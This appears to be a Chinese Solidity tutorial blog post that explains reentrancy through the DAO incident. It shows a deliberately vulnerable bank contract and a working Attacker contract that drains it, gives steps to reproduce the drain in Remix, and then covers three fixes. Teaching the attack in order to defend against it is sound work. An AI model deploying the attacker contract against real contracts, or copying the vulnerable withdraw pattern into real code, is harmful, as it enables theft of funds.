Solidity 实战【三】:重入攻击与防御(从 0 到 1 看懂 DAO 事件)

前言

如果你只学一个 Solidity 安全问题

那一定是:重入攻击(Reentrancy)

因为它:

改变了以太坊历史(DAO 事件)

直接导致千万美元被盗

至今仍是合约审计的第一优先级

这一篇,我们不背概念、不贴图。

👉 直接写代码,把钱"偷"一遍

一、什么是重入攻击?一句话先立住概念

一句话版本:

在合约"还没更新状态"之前,被外部合约反复调用同一个函数

关键不是"攻击",而是这四个字:

👉 状态更新顺序错误

二、历史背景:DAO 事件到底发生了什么?

2016 年:

DAO 合约管理着 360 万 ETH

一个看似无害的提款函数

被反复调用

钱被一笔一笔掏空

结果:

以太坊被迫硬分叉

ETC 诞生

👉 不是密码学失败,而是工程失误

三、实战目标(先定攻击模型)

我们这次要做三件事:

1️⃣ 写一个 有漏洞的存钱/取钱合约

2️⃣ 写一个 攻击合约,把钱偷走

3️⃣ 用三种方式 彻底修复漏洞

你会清楚看到:

"钱是怎么没的"

四、第一步:写一个"看起来没问题"的合约(受害者)

4.1 有漏洞的合约:VulnerableBank.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

contract VulnerableBank {

复制代码
mapping(address => uint256) public balances;

// 存钱
function deposit() external payable {
    balances[msg.sender] += msg.value;
}

// 取钱(⚠️ 有漏洞)
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "no balance");

    // 先转账
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "transfer failed");

    // 再更新余额(致命)
    balances[msg.sender] = 0;
}

}

4.2 问题出在哪?

关键顺序是:

转账 → 再清余额

而 call 会:

把控制权交给外部合约

允许对方在 fallback 中再次调用 withdraw

👉 门还没关,人已经进来第二次了

五、第二步:写攻击合约(真正的"偷钱")

5.1 攻击合约:Attacker.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import "./VulnerableBank.sol";

contract Attacker {

复制代码
VulnerableBank public bank;
address public owner;

constructor(address _bank) {
    bank = VulnerableBank(_bank);
    owner = msg.sender;
}

// 发起攻击
function attack() external payable {
    require(msg.value > 0, "need ETH");

    bank.deposit{value: msg.value}();
    bank.withdraw();
}

// fallback:关键!
receive() external payable {
    if (address(bank).balance > 0) {
        bank.withdraw();
    }
}

function getBalance() external view returns (uint256) {
    return address(this).balance;
}

}

5.2 攻击流程(一步不跳)

1️⃣ 攻击者存 1 ETH

2️⃣ 调用 withdraw

3️⃣ Bank 转账 → 触发 receive

4️⃣ receive 再次调用 withdraw

5️⃣ Bank 还没清余额 → 再转

6️⃣ 循环直到 Bank 被掏空

👉 一次交易,多次取钱

六、在 Remix 中复现攻击(新手必做)

操作步骤:

1️⃣ 部署 VulnerableBank

2️⃣ 存入 5 ETH(用普通账号)

3️⃣ 部署 Attacker(传入 Bank 地址)

4️⃣ 调用 attack(),转 1 ETH

5️⃣ 查看:

Bank balance → 0

Attacker balance → > 1 ETH

👉 你刚刚亲手复现了 DAO 攻击原理

七、防御方式一:Checks-Effects-Interactions(最重要)

原则一句话:

先改状态,再和外部交互

修复后的 withdraw

function withdraw() external {

uint256 amount = balances[msg.sender];

require(amount > 0, "no balance");

复制代码
// 先更新状态
balances[msg.sender] = 0;

// 再转账
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");

}

👉 90% 的重入问题,到这里就结束了

八、防御方式二:重入锁(Reentrancy Guard)

8.1 最简单的锁

bool private locked;

modifier nonReentrant() {

require(!locked, "reentrant call");

locked = true;

_;

locked = false;

}

8.2 使用锁

function withdraw() external nonReentrant {

uint256 amount = balances[msg.sender];

require(amount > 0, "no balance");

复制代码
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");

}

👉 OpenZeppelin 的 ReentrancyGuard 就是这个思路

九、防御方式三:限制可调用者(业务级)

例如:

不给合约地址提款

使用白名单

使用 Pull Payment 模式

示例(简单版):

require(msg.sender == tx.origin, "no contract");

⚠️ 注意:

这是业务约束

不是通用安全方案

不能单独依赖

十、你已经真正理解的 5 个安全本质

通过这一篇,你已经掌握:

1️⃣ call 会交出控制权

2️⃣ 状态更新顺序决定生死

3️⃣ 攻击不需要"黑科技"

4️⃣ 一行代码顺序 = 几千万美金

5️⃣ 安全是工程问题,不是语法问题

十一、工程师最容易犯的 3 个错误

❌ 以为 "我这个合约没人会攻击"

❌ 以为 "call + require 就安全了"

❌ 以为 "学完语法就能写合约"

👉 攻击者只需要一次机会

总结

如果说:

实战【一】让你 会写合约

实战【二】让你 敢管钱

那实战【三】就是:

让你知道,钱是怎么没的

从这一刻起,你已经正式跨过:

👉 Solidity 新手 → Solidity 工程师

下一篇预告(直接拉开差距)

👉 Solidity 实战【四】:手写一个可升级合约(Proxy 模式)

你会学到:

为什么合约要升级

delegatecall 是什么

UUPS / Transparent Proxy 原理

这是 真正进入生产级合约的门槛。

相关推荐
企业对冲系统官6 小时前
期货套保系统移动端操作的技术架构与实现
算法·架构·区块链·github
剩下了什么7 小时前
Gf命令行工具下载
go
地球没有花7 小时前
tw引发的对redis的深入了解
数据库·redis·缓存·go
TechubNews8 小时前
BEATOZ区块链专业企业与韩国头部旅游集团MODETOUR从签署MOU迈向网络验证节点合作
大数据·人工智能·区块链
BlockChain88819 小时前
字符串最后一个单词的长度
算法·go
龙井茶Sky20 小时前
通过higress AI统计插件学gjson表达式的分享
go·gjson·higress插件
数说星榆1811 天前
模型即服务(MaaS)生态的去中心化探索
去中心化·区块链
老蒋每日coding1 天前
区块链技术系列(一)—— 联盟链FISCO BCOS 技术架构
区块链
公链开发2 天前
2026 Web3机构级风口:RWA Tokenization + ZK隐私系统定制开发全解析
人工智能·web3·区块链